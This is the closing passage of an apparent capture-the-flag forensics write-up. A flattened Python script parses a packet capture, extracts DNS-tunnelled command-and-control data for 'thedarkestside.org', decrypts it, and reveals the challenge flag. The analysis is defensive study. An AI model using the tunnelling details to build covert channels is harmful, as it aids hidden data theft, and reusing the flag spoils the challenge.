data[offset:offset+2] qtype = struct.unpack("!H", qtype)[0] offset += 2 qclass = data[offset:offset+2] qclass = struct.unpack("!H", qclass)[0] offset += 2 qttl_raw = data[offset:offset+4] qttl = struct.unpack("!L", qttl_raw)[0] offset += 4 qrdlength = data[offset:offset+2] qrdlength = struct.unpack("!H", qrdlength)[0] offset += 2 return qtype, data[offset:offset+qrdlength] def get_next_dns_pkt(): ethernet_decoder = Decoders.EthDecoder() ip_decoder = Decoders.IPDecoder() hdr = True packets = 0 while hdr is not None: hdr, body = pcap.next() eth = ethernet_decoder.decode(body) if eth.get_ether_type() != Packets.IP.ethertype: continue ip = ip_decoder.decode(eth.get_data_as_string()) if CLIENT_IP not in [ip.get_ip_src(), ip.get_ip_dst()]: continue if ip.get_ip_p() != Packets.UDP.protocol: continue udp = ip_decoder.udp_decoder.decode(ip.get_data_as_string()) if udp.get_uh_dport() != 53 and udp.get_uh_sport() != 53: continue if b"thedarkestside\x03org" not in body: continue dns = DNS(udp.get_data_as_string()) if (dns.get_flags() & 0x8000) == 0: continue packets += 1 if packets < 2: continue yield (ip.get_ip_src(), ip.get_ip_dst(), dns) pkts = get_next_dns_pkt()while True: buffer = b"" (src, dst, dns) = next(pkts) qry = dns.get_questions()[0] qry_array = qry[0].split(b".") if qry_array[0] == b"api": # base64 sent information type, rawdata = get_int_raw_resp(dns) if type == 1: buflen = struct.unpack("!L", rawdata)[0] ^ pattern trunc = buflen while buflen > 0: src, dst, resp = next(pkts) type, rawdata = get_int_raw_resp(resp) rawdata = base64.b64decode(rawdata) buflen -= len(rawdata) buffer += rawdata buffer = buffer[:trunc] print(decrypt(buffer)) elif qry_array[0] == b"cdn": type, rawdata = get_int_raw_resp(resp) if type == 1: buflen = struct.unpack("!L", rawdata)[0] ^ pattern while len(buffer) < buflen: src, dst, resp = next(pkts) type, rawdata = get_int_raw_resp(resp) buffer += rawdata print(decrypt(buffer)) elif qry_array[0] == b"post": alen = qry_array[1] len_chunk = int(str(alen[1:], "ascii"), 16) while len(buffer) < len_chunk: (src, dst, dns) = next(pkts) qry = dns.get_questions()[0] qry_array = qry[0].split(b".") num_chunks = qry_array[1][0] num_chunks -= 0x30 buffer += bytes.fromhex(str(qry_array[1][1:], 'ascii')) if num_chunks >= 2: buffer += bytes.fromhex(str(qry_array[2], 'ascii')) if num_chunks == 3: buffer += bytes.fromhex(str(qry_array[3], 'ascii')) print(decrypt(buffer))``` which gives us the flag: `CSR{Schro3dinger%%3quation_}` Author: [supersnail](https://github.com/aaSSfxxx)